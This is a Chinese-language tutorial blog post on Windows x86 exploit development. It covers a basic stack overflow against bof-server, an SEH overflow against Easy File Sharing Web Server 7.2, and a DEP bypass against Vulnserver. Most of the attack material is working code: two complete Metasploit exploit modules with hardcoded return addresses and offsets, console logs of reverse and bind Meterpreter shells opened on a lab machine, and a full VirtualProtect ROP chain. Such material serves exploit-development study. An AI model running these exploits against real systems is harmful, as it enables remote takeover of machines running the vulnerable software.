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<p>这部分是对Window x86平台下的几个典型漏洞利用方式的介绍，从最基础的、没有开启任何保护的漏洞程序入手，然后开启GS，最后通过rop绕过DEP。</p>
<hr>
<h1 id="0x00-漏洞利用开发简介"><a href="#0x00-漏洞利用开发简介" class="headerlink" title="0x00 漏洞利用开发简介"></a>0x00 漏洞利用开发简介</h1><p>（1）需要什么</p>
<ul>
<li>Immunity Debugger -<a href="http://debugger.immunityinc.com/ID_register.py" target="_blank" rel="noopener">Download</a></li>
<li>Mona.py -<a href="https://github.com/corelan/mona" target="_blank" rel="noopener">Download</a></li>
<li>Metasploit框架-<a href="https://www.metasploit.com/" target="_blank" rel="noopener">下载</a></li>
<li>靶机–Windows XP sp3</li>
</ul>
<p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562741903/pwn/%E6%8D%95%E8%8E%B7.png" alt></p>
<ul>
<li>函数调用与栈：调用、返回</li>
<li>寄存器与函数栈帧：ESP、EBP</li>
<li>函数栈帧：局部变量、栈帧状态值、函数返回地址</li>
<li>函数调用约定与相关指令：参数传递方式、参数入栈顺序、恢复堆栈平衡的操作</li>
</ul>
<p>（2）函数调用的汇编过程</p>
<ol>
<li><p>示例程序</p>
<figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">charname[] = <span class="string">"1234567"</span>;</span><br><span class="line">voidfunc(<span class="keyword">int</span> a, <span class="keyword">int</span> b, <span class="keyword">int</span> c)</span><br><span class="line">{</span><br><span class="line"> charbuf[<span class="number">8</span>];</span><br><span class="line"> <span class="built_in">strcpy</span>(buf, name);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
</li>
<li><p>汇编过程</p>
</li>
</ol>
<ul>
<li>PUSH c, PUSH b, PUSH a</li>
<li>CALL address of func【保存返回地址；跳转】</li>
<li>MOV ebp, esp</li>
<li>PUSH ebp</li>
<li>SUB esp, 0x40</li>
<li>创建局部变量，4个字节为一组</li>
<li>do something</li>
<li>add esp, 0x40</li>
<li>pop ebp</li>
<li>RETN【弹出返回地址，跳转】</li>
</ul>
<ol start="3">
<li>栈帧结构<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742079/pwn/%E6%8D%95%E8%8E%B71.png" alt></li>
</ol>
<h1 id="0x01-简单栈溢出"><a href="#0x01-简单栈溢出" class="headerlink" title="0x01 简单栈溢出"></a>0x01 简单栈溢出</h1><blockquote>
<p><strong>目标程序:</strong><br><a href="http://redstack.net/blog/static/uploads/2008/01/bof-server.c" target="_blank" rel="noopener">bof-server source code</a><br><a href="http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.exe" target="_blank" rel="noopener">bof-server binary for Windows</a><br><strong>usage:</strong><br>服务端<br><code>bof-server.exe 4242</code><br>客户端<br><code>telnet localhost 4242</code><br><code>version</code><br><code>bof-server v0.01</code><br><code>quit</code></p>
</blockquote>
<h2 id="漏洞点"><a href="#漏洞点" class="headerlink" title="漏洞点"></a>漏洞点</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742316/pwn/%E5%9B%BE%E7%89%871.png" alt></p>
<p><strong>产生崩溃</strong><br>将输出的1024个A发送给靶机程序<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python -c "print('A' * 1024)"</span><br><span class="line">telnet 192.168.64.138 4242</span><br></pre></td></tr></table></figure></p>
<p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742366/pwn/%E5%9B%BE%E7%89%872.png" alt></p>
<h2 id="关闭防御措施"><a href="#关闭防御措施" class="headerlink" title="关闭防御措施"></a>关闭防御措施</h2><p>使用<strong>PESecurity</strong>检查可执行文件本身的防御措施开启情况<br>注意设置：Set-ExecutionPolicyUnrestricted</p>
<p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742444/pwn/%E5%9B%BE%E7%89%873.png" alt></p>
<p><strong>ASLR和DEP</strong><br>ASLR在xp下不用考虑，DEP可通过修改boot.ini中的nonexecute来完成（AlwaysOff、OptOut）<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742486/pwn/%E5%9B%BE%E7%89%874.png" alt></p>
<h2 id="整体的攻击流程"><a href="#整体的攻击流程" class="headerlink" title="整体的攻击流程"></a>整体的攻击流程</h2><ol>
<li>任意非00的指令覆盖buffer和EBP</li>
<li>从程序已经加载的dll中获取他们的jmp esp指令地址。</li>
<li>使用jmp esp的指令地址覆盖ReturnAddress</li>
<li>从下一行开始填充Shellcode<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742543/pwn/%E5%9B%BE%E7%89%875.png" alt></li>
</ol>
<h2 id="确定溢出点的位置"><a href="#确定溢出点的位置" class="headerlink" title="确定溢出点的位置"></a>确定溢出点的位置</h2><ol>
<li><p>生成字符序列 <strong>pattern_create.rb</strong><br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742622/pwn/%E5%9B%BE%E7%89%876.png" alt></p>
</li>
<li><p>发送给目标程序<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742623/pwn/%E5%9B%BE%E7%89%877.png" alt></p>
</li>
<li><p>计算偏移量 <strong>pattern_offset.rb</strong><br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742685/pwn/%E5%9B%BE%E7%89%878.png" alt></p>
</li>
<li><p>确定payload结构<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742686/pwn/%E5%9B%BE%E7%89%879.png" alt></p>
</li>
</ol>
<h2 id="寻找jmp-esp跳板"><a href="#寻找jmp-esp跳板" class="headerlink" title="寻找jmp esp跳板"></a>寻找jmp esp跳板</h2><ol>
<li>OD附加进程看一下服务器加载了哪些模块<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742794/pwn/%E5%9B%BE%E7%89%8710.png" alt></li>
<li>查找JMP ESP指令的地址<br>在这里选择了ws2_32.dll作为对象，通过Metasploit的msfbinscan进行搜索<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742793/pwn/%E5%9B%BE%E7%89%8711.png" alt></li>
</ol>
<h2 id="自动化攻击"><a href="#自动化攻击" class="headerlink" title="自动化攻击"></a>自动化攻击</h2><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">require</span> <span class="string">'msf/core'</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Metasploit3</span> < Msf::Exploit::<span class="title">Remote</span></span></span><br><span class="line"> Rank = NormalRanking</span><br><span class="line"> <span class="keyword">include</span> Msf::Exploit::Remote::Tcp</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">initialize</span><span class="params">(info = {})</span></span></span><br><span class="line"> <span class="keyword">super</span>(update_info(info,</span><br><span class="line"> <span class="string">'Name'</span> => <span class="string">'Stack Based Buffer Overflow Example'</span>,</span><br><span class="line"> <span class="string">'Description'</span> => <span class="string">%q{</span></span><br><span class="line"><span class="string"> Stack Based Overflow Example Application Exploitation Module</span></span><br><span class="line"><span class="string"> }</span>,</span><br><span class="line"> <span class="string">'Platform'</span> => <span class="string">'Windows'</span>,</span><br><span class="line"> <span class="string">'Author'</span> => <span class="string">'yanhan'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'Payload'</span> =></span><br><span class="line"> {</span><br><span class="line"> <span class="string">'space'</span> => <span class="number">400</span>,</span><br><span class="line"> <span class="string">'BadChars'</span> => <span class="string">"\x00\xff"</span></span><br><span class="line"> },</span><br><span class="line"> <span class="string">'Targets'</span> =></span><br><span class="line"> [</span><br><span class="line"> [</span><br><span class="line"> <span class="string">'Windows XP SP3'</span>,</span><br><span class="line"> {<span class="string">'Ret'</span> => <span class="number">0x71a22b53</span>, <span class="string">'Offset'</span> => <span class="number">520</span>}</span><br><span class="line"> ]</span><br><span class="line"> ],</span><br><span class="line"> <span class="string">'DisclosureDate'</span> => <span class="string">'2019-05-25'</span></span><br><span class="line"> ))</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">exploit</span></span></span><br><span class="line"> connect</span><br><span class="line"> buf = make_nops(target[<span class="string">'Offset'</span>])</span><br><span class="line"> buf = buf + [target[<span class="string">'Ret'</span>]].pack(<span class="string">'V'</span>) + make_nops(<span class="number">20</span>) + payload.encoded</span><br><span class="line"> sock.put(buf)</span><br><span class="line"> handler</span><br><span class="line"> disconnect</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">msf5 > use exploit/windows/yanhan/bof_attack</span><br><span class="line">msf5 exploit(windows/yanhan/bof_attack) > set rhosts 192.168.31.114</span><br><span class="line">rhosts => 192.168.31.114</span><br><span class="line">msf5 exploit(windows/yanhan/bof_attack) > set rport 1000</span><br><span class="line">rport => 1000</span><br><span class="line">msf5 exploit(windows/yanhan/bof_attack) > exploit</span><br><span class="line"></span><br><span class="line">[*] Started reverse TCP handler on 192.168.31.84:4444</span><br><span class="line">[*] Sending stage (179779 bytes) to 192.168.31.114</span><br><span class="line">[*] Meterpreter session 1 opened (192.168.31.84:4444 -> 192.168.31.114:1062) at 2019-07-10 16:38:51 +0800</span><br><span class="line"></span><br><span class="line">meterpreter > ls</span><br><span class="line">Listing: C:\Documents and Settings\Administrator</span><br><span class="line">================================================</span><br><span class="line"></span><br><span class="line">Mode Size Type Last modified Name</span><br><span class="line">---- ---- ---- ------------- ----</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Application Data</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Cookies</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Favorites</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Local Settings</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 My Documents</span><br><span class="line">100666/rw-rw-rw- 1048576 fil 2019-05-14 09:54:43 +0800 NTUSER.DAT</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 NetHood</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 PrintHood</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Recent</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 SendTo</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Templates</span><br><span class="line">100777/rwxrwxrwx 26665 fil 2019-05-28 14:59:10 +0800 bof-server.exe</span><br><span class="line">100666/rw-rw-rw- 1024 fil 2019-05-14 09:54:43 +0800 ntuser.dat.LOG</span><br><span class="line">100666/rw-rw-rw- 178 fil 2019-05-14 09:54:43 +0800 ntuser.ini</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019-05-29 10:49:26 +0800 vulnserver</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 「开始」菜单</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 桌面</span><br><span class="line"></span><br><span class="line">meterpreter ></span><br></pre></td></tr></table></figure>
<hr>
<h1 id="0x02-基于SEH的栈溢出"><a href="#0x02-基于SEH的栈溢出" class="headerlink" title="0x02 基于SEH的栈溢出"></a>0x02 基于SEH的栈溢出</h1><blockquote>
<p><strong>目标程序</strong> Easy File Sharing Web Server 7.2</p>
<p><strong>漏洞点</strong><br>在处理请求时存在漏洞——一个恶意的请求头部（HEAD或GET）就可以引起缓冲区溢出，从而改写SEH链的地址。</p>
<p><strong>利用seh</strong><br>填充物+nseh+ seh（pop popretn指令序列地址）+shellcode</p>
<p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744120/11.png" alt></p>
</blockquote>
<h2 id="确定溢出点的位置-1"><a href="#确定溢出点的位置-1" class="headerlink" title="确定溢出点的位置"></a>确定溢出点的位置</h2><ol>
<li>生成字符序列<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 10000 > a.txt</span><br><span class="line">python -c "print(' HTTP/1.0\r\n\r\n')" > b.txt</span><br><span class="line">cat a.txt b.txt > c.txt</span><br></pre></td></tr></table></figure>
</li>
</ol>
<p>删除cat造成的多余字符0x0a<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">vim -bz.txt</span><br><span class="line"># In Vim</span><br><span class="line">:%!xxd</span><br><span class="line"># After editing, use the instruction below to save</span><br><span class="line">:%!xxd -r</span><br></pre></td></tr></table></figure></p>
<ol start="2">
<li>构造SEH链</li>
</ol>
<ul>
<li>将Easy File Sharing Web Server 7.2加载到ImmunityDebugger中，并处于运行状态。</li>
<li>发送溢出字符序列</li>
<li>查看Easy File Sharing Web Server 7.2溢出地址<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744240/pwn/231.png" alt></li>
</ul>
<ol start="3">
<li>计算偏移量<br>计算catch块偏移量&计算下一条SEH记录偏移量</li>
</ol>
<h2 id="寻找PPR"><a href="#寻找PPR" class="headerlink" title="寻找PPR"></a>寻找PPR</h2><ol>
<li>使用mona寻找<br>需要POP/POP/RET指令的地址来载入下一条SEH记录的地址，并跳转到攻击载荷<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">!mona modules</span><br><span class="line">!mona seh</span><br></pre></td></tr></table></figure>
</li>
</ol>
<h2 id="自动化攻击-1"><a href="#自动化攻击-1" class="headerlink" title="自动化攻击"></a>自动化攻击</h2><ol>
<li><p>编写攻击脚本</p>
<figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">require</span> <span class="string">'msf/core'</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MetasploitModule</span> < Msf::Exploit::<span class="title">Remote</span></span></span><br><span class="line"> Rank = NormalRanking</span><br><span class="line"> <span class="keyword">include</span> Msf::Exploit::Remote::Tcp</span><br><span class="line"> <span class="keyword">include</span> Msf::Exploit::Seh</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">initialize</span><span class="params">(info = {})</span></span></span><br><span class="line"> <span class="keyword">super</span>(update_info(info,</span><br><span class="line"> <span class="string">'Name'</span> => <span class="string">'Easy File Sharing HTTP Server 7.2 SEH Overflow'</span>,</span><br><span class="line"> <span class="string">'Description'</span> => <span class="string">%q{</span></span><br><span class="line"><span class="string"> This Module Demonstrate SEH based overflow example</span></span><br><span class="line"><span class="string"> }</span>,</span><br><span class="line"> <span class="string">'Author'</span> => <span class="string">'yanhan'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'Payload'</span> =></span><br><span class="line"> {</span><br><span class="line"> <span class="string">'Space'</span> => <span class="number">390</span>,</span><br><span class="line"> <span class="string">'BadChars'</span> => <span class="string">"\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"</span></span><br><span class="line"> },</span><br><span class="line"> <span class="string">'Platform'</span> => <span class="string">'Windows'</span>,</span><br><span class="line"> <span class="string">'Targets'</span> =></span><br><span class="line"> [</span><br><span class="line"> [</span><br><span class="line"> <span class="string">'Easy File Sharing 7.2 HTTP'</span>,</span><br><span class="line"> {</span><br><span class="line"> <span class="string">'Ret'</span> => <span class="number">0x10022fd7</span>,</span><br><span class="line"> <span class="string">'Offset'</span> => <span class="number">4061</span></span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line"> ],</span><br><span class="line"> <span class="string">'DisclosureDate'</span> => <span class="string">'2019-01-16'</span>,</span><br><span class="line"> ))</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">exploit</span></span></span><br><span class="line"> connect</span><br><span class="line"> weapon = <span class="string">"HEAD "</span></span><br><span class="line"> weapon << make_nops(target[<span class="string">'Offset'</span>])</span><br><span class="line"> weapon << generate_seh_record(target[<span class="string">'Ret'</span>])</span><br><span class="line"> weapon << make_nops(<span class="number">20</span>)</span><br><span class="line"> weapon << payload.encoded</span><br><span class="line"> weapon << <span class="string">" HTTP/1.0\r\n\r\n"</span></span><br><span class="line"> sock.put(weapon)</span><br><span class="line"> handler</span><br><span class="line"> disconnect</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>exploit</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">msf5 > use exploit/windows/yanhan/seh_attack</span><br><span class="line">msf5 exploit(windows/yanhan/seh_attack) > set rhosts 192.168.31.114</span><br><span class="line">rhosts => 192.168.31.114</span><br><span class="line">msf5 exploit(windows/yanhan/seh_attack) > set rport 80</span><br><span class="line">rport => 80</span><br><span class="line">msf5 exploit(windows/yanhan/seh_attack) > exploit</span><br><span class="line"></span><br><span class="line">[*] Started reverse TCP handler on 192.168.31.84:4444</span><br><span class="line">[*] Exploit completed, but no session was created.</span><br><span class="line">msf5 exploit(windows/yanhan/seh_attack) > set payload windows/meterpreter/bind_tcp</span><br><span class="line">payload => windows/meterpreter/bind_tcp</span><br><span class="line">msf5 exploit(windows/yanhan/seh_attack) > exploit</span><br><span class="line"></span><br><span class="line">[*] Started bind TCP handler against 192.168.31.114:4444</span><br><span class="line">[*] Sending stage (179779 bytes) to 192.168.31.114</span><br><span class="line">[*] Meterpreter session 1 opened (192.168.31.84:46601 -> 192.168.31.114:4444) at 2019-07-10 16:43:47 +0800</span><br><span class="line"></span><br><span class="line">meterpreter > getuid</span><br><span class="line">Server username: WHU-3E3EECEBFD1\Administrator</span><br></pre></td></tr></table></figure>
</li>
</ol>
<hr>
<h1 id="0x03-绕过DEP"><a href="#0x03-绕过DEP" class="headerlink" title="0x03 绕过DEP"></a>0x03 绕过DEP</h1><blockquote>
<p><strong>目标程序</strong> <a href="http://www.thegreycorner.com/2010/12/introducing-vulnserver.html" target="_blank" rel="noopener">Introducing Vulnserver</a><br><strong>使用</strong> vulnserver.exe 6666<br><strong>漏洞点</strong> <img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744461/%E5%9B%BE%E7%89%8712.png" alt></p>
</blockquote>
<h2 id="设置DEP保护"><a href="#设置DEP保护" class="headerlink" title="设置DEP保护"></a>设置DEP保护</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744518/pwn/%E6%8D%9511%E8%8E%B7.png" alt><br><em>构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode</em></p>
<h2 id="计算偏移量"><a href="#计算偏移量" class="headerlink" title="计算偏移量"></a>计算偏移量</h2><p><code>'TRUN .'+make_nops(target['Offset'])</code><br>Immunity附加进程之后，在服务端发送3000个字符，计算偏移</p>
<h2 id="创建ROP链"><a href="#创建ROP链" class="headerlink" title="创建ROP链"></a>创建ROP链</h2><p><code>!mona rop -m *.dll -cp nonull</code><br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">################################################################################</span></span><br><span class="line"></span><br><span class="line">Register setup <span class="keyword">for</span> VirtualProtect() <span class="symbol">:</span></span><br><span class="line">--------------------------------------------</span><br><span class="line"> EAX = NOP (<span class="number">0x90909090</span>)</span><br><span class="line"> ECX = lpOldProtect (ptr to W address)</span><br><span class="line"> EDX = NewProtect (<span class="number">0x40</span>)</span><br><span class="line"> EBX = dwSize</span><br><span class="line"> ESP = lPAddress (automatic)</span><br><span class="line"> EBP = ReturnTo (ptr to jmp esp)</span><br><span class="line"> ESI = ptr to VirtualProtect()</span><br><span class="line"> EDI = ROP NOP (RETN)</span><br><span class="line"> --- alternative chain ---</span><br><span class="line"> EAX = ptr to &VirtualProtect()</span><br><span class="line"> ECX = lpOldProtect (ptr to W address)</span><br><span class="line"> EDX = NewProtect (<span class="number">0x40</span>)</span><br><span class="line"> EBX = dwSize</span><br><span class="line"> ESP = lPAddress (automatic)</span><br><span class="line"> EBP = POP (skip <span class="number">4</span> bytes)</span><br><span class="line"> ESI = ptr to JMP [EAX]</span><br><span class="line"> EDI = ROP NOP (RETN)</span><br><span class="line"> + place ptr to <span class="string">"jmp esp"</span> on stack, below PUSHAD</span><br><span class="line">--------------------------------------------</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ROP Chain <span class="keyword">for</span> VirtualProtect() [(XP/<span class="number">2003</span> Server <span class="keyword">and</span> up)] <span class="symbol">:</span></span><br><span class="line">----------------------------------------------------------</span><br><span class="line"></span><br><span class="line">*** [ Ruby ] ***</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">create_rop_chain</span><span class="params">()</span></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># rop chain generated with mona.py - www.corelan.be</span></span><br><span class="line"> rop_gadgets =</span><br><span class="line"> [</span><br><span class="line"> <span class="number">0x77dabf34</span>, <span class="comment"># POP ECX # RETN [ADVAPI32.dll]</span></span><br><span class="line"> <span class="number">0x6250609c</span>, <span class="comment"># ptr to &VirtualProtect() [IAT essfunc.dll]</span></span><br><span class="line"> <span class="number">0x77d1927f</span>, <span class="comment"># MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]</span></span><br><span class="line"> <span class="number">0x7c96d192</span>, <span class="comment"># XCHG EAX,ESI # RETN [ntdll.dll]</span></span><br><span class="line"> <span class="number">0x77bef671</span>, <span class="comment"># POP EBP # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x625011af</span>, <span class="comment"># & jmp esp [essfunc.dll]</span></span><br><span class="line"> <span class="number">0x77e9ad22</span>, <span class="comment"># POP EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0xfffffdff</span>, <span class="comment"># Value to negate, will become 0x00000201</span></span><br><span class="line"> <span class="number">0x77e6c784</span>, <span class="comment"># NEG EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x77dc560a</span>, <span class="comment"># XCHG EAX,EBX # RETN [ADVAPI32.dll]</span></span><br><span class="line"> <span class="number">0x7c87fbcb</span>, <span class="comment"># POP EAX # RETN [kernel32.dll]</span></span><br><span class="line"> <span class="number">0xffffffc0</span>, <span class="comment"># Value to negate, will become 0x00000040</span></span><br><span class="line"> <span class="number">0x77d4493b</span>, <span class="comment"># NEG EAX # RETN [USER32.dll]</span></span><br><span class="line"> <span class="number">0x77c28fbc</span>, <span class="comment"># XCHG EAX,EDX # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x77bef7c9</span>, <span class="comment"># POP ECX # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x7c99bac1</span>, <span class="comment"># &Writable location [ntdll.dll]</span></span><br><span class="line"> <span class="number">0x719e4870</span>, <span class="comment"># POP EDI # RETN [mswsock.dll]</span></span><br><span class="line"> <span class="number">0x77e6d224</span>, <span class="comment"># RETN (ROP NOP) [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x77e8c50c</span>, <span class="comment"># POP EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x90909090</span>, <span class="comment"># nop</span></span><br><span class="line"> <span class="number">0x77de60c7</span>, <span class="comment"># PUSHAD # RETN [ADVAPI32.dll]</span></span><br><span class="line"> ].flatten.pack(<span class="string">"V*"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> rop_gadgets</span><br><span class="line"></span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Call the ROP chain generator inside the 'exploit' function :</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> rop_chain = create_rop_chain()</span><br></pre></td></tr></table></figure></p>
